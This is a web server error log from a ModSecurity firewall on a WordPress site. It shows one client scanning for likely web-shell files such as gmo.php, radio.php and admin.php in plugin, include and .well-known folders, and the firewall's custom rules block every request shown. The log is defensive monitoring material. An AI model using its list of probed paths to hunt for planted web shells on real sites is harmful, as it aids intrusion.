[Fri Feb 27 02:14:37.096625 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:45037] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aaCNjZZBS5wIa_NsqsgrpQAAAcw"]
[Fri Feb 27 02:14:37.940953 2026] [:error] [pid 20059:tid 20115] [client 20.104.124.39:45174] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aaCNjZZBS5wIa_NsqsgrrAAAAc0"]
[Fri Feb 27 02:14:39.284769 2026] [:error] [pid 20059:tid 20110] [client 20.104.124.39:44993] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaCNj5ZBS5wIa_NsqsgrtgAAAcg"]
[Fri Feb 27 02:14:40.201310 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:44935] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaCNkJZBS5wIa_NsqsgrwgAAAdA"]
[Fri Feb 27 02:14:40.972609 2026] [:error] [pid 18843:tid 18946] [client 20.104.124.39:45043] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaCNkCuD2bhSYSowPs0OJgAAAQY"]
[Fri Feb 27 02:14:41.677908 2026] [:error] [pid 19020:tid 19041] [client 20.104.124.39:45089] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaCNkbN3kp7wL6QzPnU6IAAAAVM"]
[Fri Feb 27 02:14:42.823176 2026] [:error] [pid 18818:tid 18898] [client 20.104.124.39:45039] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaCNkhhPgqk2SeS_W83MxAAAAA4"]
[Fri Feb 27 02:14:45.377670 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:45176] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaCNlZZBS5wIa_Nsqsgr2gAAAcw"]
[Fri Feb 27 02:14:47.231737 2026] [:error] [pid 18818:tid 18907] [client 20.104.124.39:45038] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaCNlxhPgqk2SeS_W83MygAAABc"]
[Fri Feb 27 02:14:49.402634 2026] [:error] [pid 18843:tid 18952] [client 20.104.124.39:45098] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaCNmSuD2bhSYSowPs0OOQAAAQw"]
[Fri Feb 27 02:14:50.697370 2026] [:error] [pid 19020:tid 19029] [client 20.104.124.39:45080] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aaCNmrN3kp7wL6QzPnU6LwAAAUc"]
[Fri Feb 27 02:14:52.085681 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:44951] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aaCNnJZBS5wIa_Nsqsgr8gAAAcw"]
[Fri Feb 27 02:14:53.194972 2026] [:error] [pid 19020:tid 19043] [client 20.104.124.39:44954] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aaCNnbN3kp7wL6QzPnU6NAAAAVU"]
[Fri Feb 27 02:14:54.054935 2026] [:error] [pid 19020:tid 19044] [client 20.104.124.39:45085] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aaCNnrN3kp7wL6QzPnU6OAAAAVY"]
[Fri Feb 27 02:14:55.781809 2026] [:error] [pid 18843:tid 18959] [client 20.104.124.39:45029] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaCNnyuD2bhSYSowPs0OQAAAARM"]
[Fri Feb 27 02:14:57.992604 2026] [:error] [pid 19020:tid 19038] [client 20.104.124.39:45002] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaCNobN3kp7wL6QzPnU6PwAAAVA"]
[Fri Feb 27 02:15:00.265987 2026] [:error] [pid 18831:tid 18922] [client 20.104.124.39:45041] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaCNpP5KHTHUIuWRG2bW_wAAAEk"]
[Fri Feb 27 02:15:03.190888 2026] [:error] [pid 18831:tid 18931] [client 20.104.124.39:45052] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaCNp_5KHTHUIuWRG2bXBwAAAFI"]
[Fri Feb 27 02:15:05.395144 2026] [:error] [pid 20059:tid 20119] [client 20.104.124.39:44931] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aaCNqZZBS5wIa_NsqsgsEQAAAdE"]
[Fri Feb 27 02:15:08.379808 2026] [:error] [pid 18843:tid 18941] [client 20.104.124.39:44930] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaCNrCuD2bhSYSowPs0OVQAAAQE"]
[Fri Feb 27 02:15:18.226841 2026] [:error] [pid 18831:tid 18935] [client 20.104.124.39:45035] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaCNtv5KHTHUIuWRG2bXLwAAAFY"]
[Fri Feb 27 02:15:20.683996 2026] [:error] [pid 18831:tid 18916] [client 20.104.124.39:44928] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaCNuP5KHTHUIuWRG2bXNQAAAEM"]
[Fri Feb 27 02:15:23.750845 2026] [proxy_fcgi:error] [pid 20059:tid 20119] [client 20.104.124.39:44965] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 02:15:24.850109 2026] [:error] [pid 20059:tid 20116] [client 20.104.124.39:44965] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaCNvJZBS5wIa_NsqsgsRgAAAc4"]
[Fri Feb 27 02:15:25.761926 2026] [:error] [pid 19020:tid 19042] [client 20.104.124.39:45053] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaCNvbN3kp7wL6QzPnU6iQAAAVQ"]
[Fri Feb 27 02:15:26.958262 2026] [:error] [pid 19020:tid 19033] [client 20.104.124.39:44933] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaCNvrN3kp7wL6QzPnU6jQAAAUs"]
[Fri Feb 27 02:15:28.073590 2026] [:error] [pid 18843:tid 18953] [client 20.104.124.39:44914] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaCNwCuD2bhSYSowPs0OeAAAAQ0"]
[Fri Feb 27 02:15:29.094324 2026] [:error] [pid 19020:tid 19045] [client 20.104.124.39:45023] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaCNwbN3kp7wL6QzPnU6lAAAAVc"]
[Fri Feb 27 02:15:30.130831 2026] [:error] [pid 18818:tid 18900] [client 20.104.124.39:44968] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaCNwhhPgqk2SeS_W83M8AAAABA"]
[Fri Feb 27 02:15:30.850537 2026] [:error] [pid 19020:tid 19029] [client 20.104.124.39:44898] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaCNwrN3kp7wL6QzPnU6mAAAAUc"]
[Fri Feb 27 02:15:31.295988 2026] [:error] [pid 19020:tid 19041] [client 20.104.124.39:44877] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaCNw7N3kp7wL6QzPnU6mwAAAVM"]
[Fri Feb 27 02:15:31.975919 2026] [:error] [pid 19020:tid 19044] [client 20.104.124.39:45049] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaCNw7N3kp7wL6QzPnU6ngAAAVY"]
[Fri Feb 27 02:15:33.535021 2026] [:error] [pid 19020:tid 19034] [client 20.104.124.39:44936] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaCNxbN3kp7wL6QzPnU6ogAAAUw"]
[Fri Feb 27 02:15:34.827797 2026] [:error] [pid 20059:tid 20102] [client 20.104.124.39:44938] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaCNxpZBS5wIa_NsqsgsYAAAAcA"]
[Fri Feb 27 02:15:35.672937 2026] [:error] [pid 19020:tid 19027] [client 20.104.124.39:45160] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaCNx7N3kp7wL6QzPnU6pwAAAUU"]
[Fri Feb 27 02:15:36.645330 2026] [:error] [pid 18818:tid 18898] [client 20.104.124.39:44970] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaCNyBhPgqk2SeS_W83M8gAAAA4"]
[Fri Feb 27 02:15:37.661872 2026] [:error] [pid 18843:tid 18957] [client 20.104.124.39:45001] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaCNySuD2bhSYSowPs0OfgAAARE"]
[Fri Feb 27 02:15:38.586626 2026] [:error] [pid 18831:tid 18914] [client 20.104.124.39:45048] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaCNyv5KHTHUIuWRG2bXTgAAAEE"]
[Fri Feb 27 02:15:39.251934 2026] [:error] [pid 18818:tid 18907] [client 20.104.124.39:45042] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaCNyxhPgqk2SeS_W83M9gAAABc"]
[Fri Feb 27 02:15:40.930044 2026] [:error] [pid 18843:tid 18944] [client 20.104.124.39:45120] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaCNzCuD2bhSYSowPs0OhAAAAQQ"]
[Fri Feb 27 02:15:41.639182 2026] [:error] [pid 18831:tid 18927] [client 20.104.124.39:45083] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaCNzf5KHTHUIuWRG2bXVgAAAE4"]
[Fri Feb 27 02:15:42.334139 2026] [:error] [pid 19020:tid 19040] [client 20.104.124.39:44980] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaCNzrN3kp7wL6QzPnU6rwAAAVI"]
[Fri Feb 27 02:15:42.783906 2026] [:error] [pid 18831:tid 18926] [client 20.104.124.39:45047] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaCNzv5KHTHUIuWRG2bXWwAAAE0"]
[Fri Feb 27 02:15:43.767538 2026] [:error] [pid 18831:tid 18917] [client 20.104.124.39:44948] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaCNz_5KHTHUIuWRG2bXXgAAAEQ"]
[Fri Feb 27 02:15:45.211507 2026] [:error] [pid 20059:tid 20124] [client 20.104.124.39:44962] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaCN0ZZBS5wIa_NsqsgsdAAAAdY"]
[Fri Feb 27 02:15:46.126293 2026] [:error] [pid 19020:tid 19030] [client 20.104.124.39:45077] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaCN0rN3kp7wL6QzPnU6tAAAAUg"]
[Fri Feb 27 02:15:46.853985 2026] [:error] [pid 20059:tid 20115] [client 20.104.124.39:45008] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaCN0pZBS5wIa_NsqsgsegAAAc0"]
[Fri Feb 27 02:15:48.104006 2026] [:error] [pid 19020:tid 19023] [client 20.104.124.39:45158] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaCN1LN3kp7wL6QzPnU6tQAAAUE"]
[Fri Feb 27 02:15:49.119565 2026] [:error] [pid 20059:tid 20102] [client 20.104.124.39:44956] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaCN1ZZBS5wIa_NsqsgsiQAAAcA"]
[Fri Feb 27 02:15:49.746469 2026] [:error] [pid 18831:tid 18913] [client 20.104.124.39:44973] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaCN1f5KHTHUIuWRG2bXYwAAAEA"]
[Fri Feb 27 02:15:51.159459 2026] [:error] [pid 20059:tid 20104] [client 20.104.124.39:45032] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaCN15ZBS5wIa_NsqsgslAAAAcI"]
[Fri Feb 27 02:15:52.713916 2026] [:error] [pid 20059:tid 20126] [client 20.104.124.39:44979] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaCN2JZBS5wIa_NsqsgsmgAAAdg"]
[Fri Feb 27 02:15:54.348117 2026] [:error] [pid 19020:tid 19026] [client 20.104.124.39:44941] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaCN2rN3kp7wL6QzPnU6vAAAAUQ"]
[Fri Feb 27 02:15:55.034661 2026] [:error] [pid 20059:tid 20121] [client 20.104.124.39:44812] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaCN25ZBS5wIa_NsqsgsoAAAAdM"]
[Fri Feb 27 02:15:57.191876 2026] [:error] [pid 18843:tid 18959] [client 20.104.124.39:45044] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaCN3SuD2bhSYSowPs0OkgAAARM"]
